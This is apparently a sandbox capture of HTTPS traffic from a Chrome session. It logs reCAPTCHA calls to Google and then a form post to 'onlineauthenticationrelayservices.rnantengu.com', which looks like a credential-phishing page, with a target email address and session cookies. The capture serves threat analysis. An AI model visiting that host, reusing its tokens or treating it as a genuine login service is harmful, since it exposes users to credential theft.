2025-01-15 09:07:02 UTC	1390	IN	Data Raw: 6c 70 44 52 6e 42 51 56 57 64 77 4e 6d 70 52 63 47 4a 44 51 7a 67 32 57 6c 68 52 63 32 73 72 61 32 6c 49 61 48 55 34 59 30 74 35 4b 31 5a 48 64 58 5a 6d 4d 55 5a 78 62 6a 68 46 64 55 51 34 55 7a 52 45 4d 45 39 55 55 6e 51 7a 54 44 46 58 52 53 73 76 55 7a 46 74 4e 31 56 79 55 44 64 75 65 57 74 4b 63 47 56 57 63 44 68 49 57 47 77 34 56 58 70 57 4d 6c 67 31 5a 46 70 54 4d 30 68 46 5a 56 4e 55 65 6d 35 4d 5a 45 39 6c 63 57 63 34 4e 58 59 77 65 56 56 31 64 55 70 36 4d 57 78 50 64 57 74 54 56 46 52 6f 5a 45 6c 4b 63 6b 74 77 5a 6c 52 59 57 54 4a 71 4e 47 38 34 63 30 59 30 63 31 70 49 5a 30 34 72 64 79 38 33 63 32 6c 53 4f 55 30 72 4c 33 42 70 59 32 6c 79 61 6d 78 42 65 55 46 44 64 33 46 59 4f 45 4d 31 64 30 74 46 57 57 4e 34 55 56 52 31 4f 55 64 6f 56 32 4e 69 Data Ascii: lpDRnBQVWdwNmpRcGJDQzg2WlhRc2sra2lIaHU4Y0t5K1ZHdXZmMUZxbjhFdUQ4UzREME9UUnQzTDFXRSsvUzFtN1VyUDdueWtKcGVWcDhIWGw4VXpWMlg1ZFpTM0hFZVNUem5MZE9lcWc4NXYweVV1dUp6MWxPdWtTVFRoZElKcktwZlRYWTJqNG84c0Y0c1pIZ04rdy83c2lSOU0rL3BpY2lyamxBeUFDd3FYOEM1d0tFWWN4UVR1OUdoV2Ni
2025-01-15 09:07:02 UTC	1390	IN	Data Raw: 77 4e 47 6b 30 4f 46 64 55 65 46 4e 54 56 30 64 75 52 6b 6c 49 59 6e 6c 32 4d 45 78 46 55 45 5a 53 51 6d 5a 59 54 45 6f 77 63 45 45 7a 62 6e 41 7a 54 47 6c 32 64 6b 5a 6b 64 47 35 6e 63 6c 46 55 61 57 5a 33 4b 32 35 76 4e 47 45 33 61 7a 46 54 61 32 51 30 54 57 78 72 59 30 45 78 52 32 68 72 5a 55 39 46 65 43 38 76 64 55 55 33 54 58 51 76 54 43 74 76 4d 6e 4a 59 63 48 55 31 62 58 70 45 4e 6e 45 78 5a 57 68 77 52 32 70 4b 56 6a 5a 44 63 31 42 59 65 6a 45 33 59 56 68 48 63 69 74 50 52 47 4a 73 53 79 39 4c 61 47 67 79 61 47 56 79 64 54 63 77 4d 57 4e 76 4d 54 4a 51 54 44 68 72 5a 6c 68 6a 65 6d 6c 51 4c 33 5a 53 52 33 56 43 56 47 46 74 56 56 4a 54 4e 45 74 4b 5a 6a 56 58 51 57 77 33 53 6c 4e 56 56 58 64 36 57 6b 31 53 65 45 78 30 62 6d 4e 75 4b 30 52 4b 4e 57 Data Ascii: wNGk0OFdUeFNTV0duRklIYnl2MExFUEZSQmZYTEowcEEzbnAzTGl2dkZkdG5nclFUaWZ3K25vNGE3azFTa2Q0TWxrY0ExR2hrZU9FeC8vdUU3TXQvTCtvMnJYcHU1bXpENnExZWhwR2pKVjZDc1BYejE3YVhHcitPRGJsSy9LaGgyaGVydTcwMWNvMTJQTDhrZlhjemlQL3ZSR3VCVGFtVVJTNEtKZjVXQWw3SlNVVXd6Wk1SeEx0bmNuK0RKNW
2025-01-15 09:07:02 UTC	1390	IN	Data Raw: 44 42 68 4c 7a 64 6a 51 32 56 75 4f 48 49 72 54 58 45 35 4d 44 64 32 4f 45 64 46 4b 33 42 61 55 7a 4a 35 63 6d 31 34 52 6b 64 49 54 6d 70 44 5a 55 46 6b 56 6d 70 58 51 55 70 52 61 55 5a 78 4e 32 74 6d 5a 6e 4a 6a 56 54 64 71 55 47 30 77 56 30 4e 42 61 7a 6c 33 53 54 64 42 4d 55 35 69 62 55 74 79 61 6d 31 73 51 30 31 6c 64 46 4a 53 62 47 35 6b 57 47 46 4f 63 54 52 71 59 55 52 4f 54 32 68 72 53 56 63 35 63 55 70 75 64 56 68 68 57 57 56 4d 5a 56 6f 35 52 44 6c 45 64 32 35 33 64 6c 46 4b 55 31 55 33 57 57 4a 6a 59 31 46 32 4d 57 4a 30 61 45 39 42 51 6a 56 59 62 48 59 76 4e 6d 78 72 56 33 64 76 62 6d 6c 51 63 54 4e 42 53 33 68 5a 4e 56 6c 52 63 56 56 52 4e 31 70 44 5a 55 6f 34 4e 45 35 75 5a 54 4a 4c 61 6d 4a 43 63 57 6c 72 57 6b 4a 76 53 44 4d 76 62 6c 56 50 Data Ascii: DBhLzdjQ2VuOHIrTXE5MDd2OEdFK3BaUzJ5cm14RkdITmpDZUFkVmpXQUpRaUZxN2tmZnJjVTdqUG0wV0NBazl3STdBMU5ibUtyam1sQ01ldFJSbG5kWGFOcTRqYUROT2hrSVc5cUpudVhhWWVMZVo5RDlEd253dlFKU1U3WWJjY1F2MWJ0aE9BQjVYbHYvNmxrV3dvbmlQcTNBS3hZNVlRcVVRN1pDZUo4NE5uZTJLamJCcWlrWkJvSDMvblVP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49820	142.250.185.228	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:03 UTC	1000	OUT	POST /recaptcha/api2/userverify?k=6LdLXbcqAAAAALRfEjW-l3ElmGAtD5CTjcOsiFcB HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 6471 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: https://www.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=1Bq_oiMBd4XPUhKDwr0YL1Js&k=6LdLXbcqAAAAALRfEjW-l3ElmGAtD5CTjcOsiFcB Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AGVEItcahM1xAKUycdMcjF_L6jKBFMZyCksz1pmgqJCSi2Yi-8GmFNwKnK6zKrwSSMPykduU86rVvwGqmROxtxY
2025-01-15 09:07:03 UTC	6471	OUT	Data Raw: 76 3d 31 42 71 5f 6f 69 4d 42 64 34 58 50 55 68 4b 44 77 72 30 59 4c 31 4a 73 26 63 3d 30 33 41 46 63 57 65 41 34 30 34 49 36 37 62 5a 39 6e 59 43 4d 6d 43 37 73 76 76 69 2d 6e 4c 71 7a 4a 47 63 33 79 59 35 6b 6c 78 76 39 79 67 63 59 61 30 45 65 49 50 6f 4c 57 6b 77 50 75 35 5f 39 74 73 65 41 74 65 79 73 4e 64 32 33 42 5f 39 61 56 38 44 78 50 55 56 4c 62 73 56 73 4d 4c 78 4c 4c 33 62 77 73 69 30 76 6c 6c 64 4e 46 5a 6b 52 4f 78 6f 4e 74 50 4d 4c 66 73 47 76 66 41 38 56 63 36 73 72 4c 39 46 43 4f 75 46 59 49 6f 2d 34 72 75 7a 6b 51 37 65 74 59 46 4a 63 6d 78 7a 66 54 46 59 45 47 4e 4a 74 51 72 30 70 65 50 63 74 6c 67 38 69 42 51 52 76 63 4d 74 4a 6d 6e 33 7a 5a 54 6a 6b 47 6d 4b 66 79 76 68 46 39 48 42 74 53 43 35 36 6c 43 64 5f 39 42 7a 35 30 72 65 52 44 Data Ascii: v=1Bq_oiMBd4XPUhKDwr0YL1Js&c=03AFcWeA404I67bZ9nYCMmC7svvi-nLqzJGc3yY5klxv9ygcYa0EeIPoLWkwPu5_9tseAteysNd23B_9aV8DxPUVLbsVsMLxLL3bwsi0vlldNFZkROxoNtPMLfsGvfA8Vc6srL9FCOuFYIo-4ruzkQ7etYFJcmxzfTFYEGNJtQr0pePctlg8iBQRvcMtJmn3zZTjkGmKfyvhF9HBtSC56lCd_9Bz50reRD
2025-01-15 09:07:03 UTC	838	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 15 Jan 2025 09:07:03 GMT X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Cross-Origin-Resource-Policy: same-site Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-01-15 09:07:03 UTC	552	IN	Data Raw: 61 38 62 0d 0a 29 5d 7d 27 0a 5b 22 75 76 72 65 73 70 22 2c 22 30 33 41 46 63 57 65 41 36 59 48 69 75 55 72 6a 57 52 33 7a 30 70 66 43 57 6d 43 34 47 45 79 59 62 71 49 49 73 71 36 51 52 75 4c 5f 58 53 38 31 43 76 37 4e 75 4b 71 67 58 2d 62 4b 5f 49 50 49 71 73 50 55 77 6e 76 68 56 79 5a 36 46 74 7a 2d 45 73 42 68 4a 79 33 79 71 46 68 63 6e 72 33 43 68 47 33 73 31 38 4f 68 35 62 74 55 67 48 79 35 44 62 46 6e 55 71 76 55 35 6c 64 6e 72 4f 57 4f 57 7a 51 55 35 63 4d 66 32 65 6d 64 65 75 32 4d 5f 70 42 5f 69 76 35 5f 57 30 68 58 55 67 49 4b 4b 56 4d 4e 77 6f 62 69 49 57 78 4d 56 30 46 67 2d 77 76 76 5f 47 6e 31 75 4e 54 43 47 62 4f 4a 70 6e 38 54 42 6d 58 6b 54 6b 6f 31 63 41 4a 37 6a 44 58 34 4c 71 57 6a 50 64 74 32 63 43 76 76 70 75 4c 4f 67 44 35 73 4b 30 Data Ascii: a8b)]}'["uvresp","03AFcWeA6YHiuUrjWR3z0pfCWmC4GEyYbqIIsq6QRuL_XS81Cv7NuKqgX-bK_IPIqsPUwnvhVyZ6Ftz-EsBhJy3yqFhcnr3ChG3s18Oh5btUgHy5DbFnUqvU5ldnrOWOWzQU5cMf2emdeu2M_pB_iv5_W0hXUgIKKVMNwobiIWxMV0Fg-wvv_Gn1uNTCGbOJpn8TBmXkTko1cAJ7jDX4LqWjPdt2cCvvpuLOgD5sK0
2025-01-15 09:07:03 UTC	1390	IN	Data Raw: 57 71 36 72 4c 48 42 76 4b 56 67 6c 31 55 59 77 4d 5f 39 48 44 49 4a 63 43 50 43 48 44 6d 51 35 32 77 35 66 6d 43 5a 52 39 34 51 77 59 57 6b 62 63 64 2d 48 63 58 33 67 39 75 4c 68 55 6c 53 5a 75 7a 74 66 7a 6d 50 71 79 67 6e 4f 49 61 47 6c 32 44 4f 42 6f 7a 74 51 5a 65 72 5a 61 4a 5a 5f 37 46 33 70 79 33 41 31 56 38 39 4d 46 6d 73 64 4b 43 63 4f 34 30 2d 7a 39 6b 49 7a 74 7a 74 75 43 41 73 59 4b 32 76 66 50 56 77 73 46 41 74 55 6c 52 6b 71 73 66 30 63 57 4e 59 6c 39 71 44 46 64 49 43 61 63 59 51 77 2d 61 63 4f 39 37 30 68 65 7a 76 76 4c 79 35 6a 36 36 61 6d 76 68 38 55 6b 2d 70 57 5a 45 6a 64 54 78 4d 4a 55 78 74 7a 6c 4c 57 33 36 30 66 34 68 75 32 63 50 65 71 67 32 57 47 59 64 72 6e 46 37 33 39 51 6a 41 61 63 37 57 6e 43 6e 4b 62 39 36 6b 51 57 4e 54 46 Data Ascii: Wq6rLHBvKVgl1UYwM_9HDIJcCPCHDmQ52w5fmCZR94QwYWkbcd-HcX3g9uLhUlSZuztfzmPqygnOIaGl2DOBoztQZerZaJZ_7F3py3A1V89MFmsdKCcO40-z9kIztztuCAsYK2vfPVwsFAtUlRkqsf0cWNYl9qDFdICacYQw-acO970hezvvLy5j66amvh8Uk-pWZEjdTxMJUxtzlLW360f4hu2cPeqg2WGYdrnF739QjAac7WnCnKb96kQWNTF
2025-01-15 09:07:03 UTC	764	IN	Data Raw: 69 78 74 2d 4a 74 77 4c 74 53 6c 4e 4d 65 42 37 55 79 6a 35 73 62 6c 4f 34 34 57 77 55 31 34 33 45 67 78 33 49 46 4b 39 42 39 67 2d 33 4e 45 79 6d 35 49 43 73 34 44 59 78 38 6b 4f 4b 78 61 4a 65 33 64 6a 6d 58 5a 4a 67 54 32 49 67 6d 42 70 54 74 41 52 30 38 76 43 52 34 33 78 6c 4b 57 72 52 68 6c 37 52 36 6f 62 74 78 57 42 59 4d 32 5f 74 7a 39 52 64 76 33 59 6f 33 67 42 57 30 32 47 65 5a 54 4a 66 4f 61 35 6f 78 65 38 55 42 71 59 50 54 6e 33 73 50 6f 59 5f 76 4d 6d 65 4a 69 4a 56 4d 71 44 64 71 63 69 51 34 75 50 64 31 32 4d 44 67 69 33 2d 55 33 46 6c 78 4b 63 55 69 6c 5f 42 63 35 46 77 74 4b 52 39 59 49 71 43 68 4a 73 30 38 36 71 62 4f 37 76 59 47 68 45 32 62 4c 76 6e 70 33 63 35 55 79 4a 34 47 49 68 2d 69 43 39 58 73 47 57 6a 37 47 6a 50 6d 6b 68 76 41 57 Data Ascii: ixt-JtwLtSlNMeB7Uyj5sblO44WwU143Egx3IFK9B9g-3NEym5ICs4DYx8kOKxaJe3djmXZJgT2IgmBpTtAR08vCR43xlKWrRhl7R6obtxWBYM2_tz9Rdv3Yo3gBW02GeZTJfOa5oxe8UBqYPTn3sPoY_vMmeJiJVMqDdqciQ4uPd12MDgi3-U3FlxKcUil_Bc5FwtKR9YIqChJs086qbO7vYGhE2bLvnp3c5UyJ4GIh-iC9XsGWj7GjPmkhvAW
2025-01-15 09:07:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49821	216.58.206.36	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:03 UTC	610	OUT	GET /recaptcha/api2/reload?k=6LdLXbcqAAAAALRfEjW-l3ElmGAtD5CTjcOsiFcB HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AGVEItcahM1xAKUycdMcjF_L6jKBFMZyCksz1pmgqJCSi2Yi-8GmFNwKnK6zKrwSSMPykduU86rVvwGqmROxtxY
2025-01-15 09:07:03 UTC	743	IN	HTTP/1.1 405 Method Not Allowed Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 15 Jan 2025 09:07:03 GMT Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Allow: POST Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-01-15 09:07:03 UTC	647	IN	Data Raw: 36 38 30 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 35 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f Data Ascii: 680<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 405 (Bad Request)!!1</title><style>*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{backgro
2025-01-15 09:07:03 UTC	1024	IN	Data Raw: 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background
2025-01-15 09:07:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49827	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:03 UTC	958	OUT	POST /? HTTP/1.1 Host: onlineauthenticationrelayservices.rnantengu.com Connection: keep-alive Content-Length: 7938 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://onlineauthenticationrelayservices.rnantengu.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: https://onlineauthenticationrelayservices.rnantengu.com/?vu=5C&username=bdf29f%40eutg.co Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 09:07:03 UTC	7938	OUT	Data Raw: 67 2d 72 65 63 61 70 74 63 68 61 2d 72 65 73 70 6f 6e 73 65 3d 30 33 41 46 63 57 65 41 36 59 48 69 75 55 72 6a 57 52 33 7a 30 70 66 43 57 6d 43 34 47 45 79 59 62 71 49 49 73 71 36 51 52 75 4c 5f 58 53 38 31 43 76 37 4e 75 4b 71 67 58 2d 62 4b 5f 49 50 49 71 73 50 55 77 6e 76 68 56 79 5a 36 46 74 7a 2d 45 73 42 68 4a 79 33 79 71 46 68 63 6e 72 33 43 68 47 33 73 31 38 4f 68 35 62 74 55 67 48 79 35 44 62 46 6e 55 71 76 55 35 6c 64 6e 72 4f 57 4f 57 7a 51 55 35 63 4d 66 32 65 6d 64 65 75 32 4d 5f 70 42 5f 69 76 35 5f 57 30 68 58 55 67 49 4b 4b 56 4d 4e 77 6f 62 69 49 57 78 4d 56 30 46 67 2d 77 76 76 5f 47 6e 31 75 4e 54 43 47 62 4f 4a 70 6e 38 54 42 6d 58 6b 54 6b 6f 31 63 41 4a 37 6a 44 58 34 4c 71 57 6a 50 64 74 32 63 43 76 76 70 75 4c 4f 67 44 35 73 4b 30 Data Ascii: g-recaptcha-response=03AFcWeA6YHiuUrjWR3z0pfCWmC4GEyYbqIIsq6QRuL_XS81Cv7NuKqgX-bK_IPIqsPUwnvhVyZ6Ftz-EsBhJy3yqFhcnr3ChG3s18Oh5btUgHy5DbFnUqvU5ldnrOWOWzQU5cMf2emdeu2M_pB_iv5_W0hXUgIKKVMNwobiIWxMV0Fg-wvv_Gn1uNTCGbOJpn8TBmXkTko1cAJ7jDX4LqWjPdt2cCvvpuLOgD5sK0
2025-01-15 09:07:04 UTC	447	IN	HTTP/1.1 302 Found Server: nginx Date: Wed, 15 Jan 2025 09:07:04 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close location: https://onlineauthenticationrelayservices.rnantengu.com/?vu=5C&username=bdf29f%40eutg.co set-cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="; Domain=rnantengu.com; HttpOnly; Path=/; SameSite=None; Secure
2025-01-15 09:07:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49828	216.58.206.36	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:04 UTC	614	OUT	GET /recaptcha/api2/userverify?k=6LdLXbcqAAAAALRfEjW-l3ElmGAtD5CTjcOsiFcB HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AGVEItcahM1xAKUycdMcjF_L6jKBFMZyCksz1pmgqJCSi2Yi-8GmFNwKnK6zKrwSSMPykduU86rVvwGqmROxtxY
2025-01-15 09:07:04 UTC	743	IN	HTTP/1.1 405 Method Not Allowed Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 15 Jan 2025 09:07:04 GMT Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Allow: POST Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-01-15 09:07:04 UTC	647	IN	Data Raw: 36 38 30 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 35 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f Data Ascii: 680<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 405 (Bad Request)!!1</title><style>*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{backgro
2025-01-15 09:07:04 UTC	1024	IN	Data Raw: 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background
2025-01-15 09:07:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49834	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:04 UTC	971	OUT	GET /?vu=5C&username=bdf29f%40eutg.co HTTP/1.1 Host: onlineauthenticationrelayservices.rnantengu.com Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://onlineauthenticationrelayservices.rnantengu.com/?vu=5C&username=bdf29f%40eutg.co Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
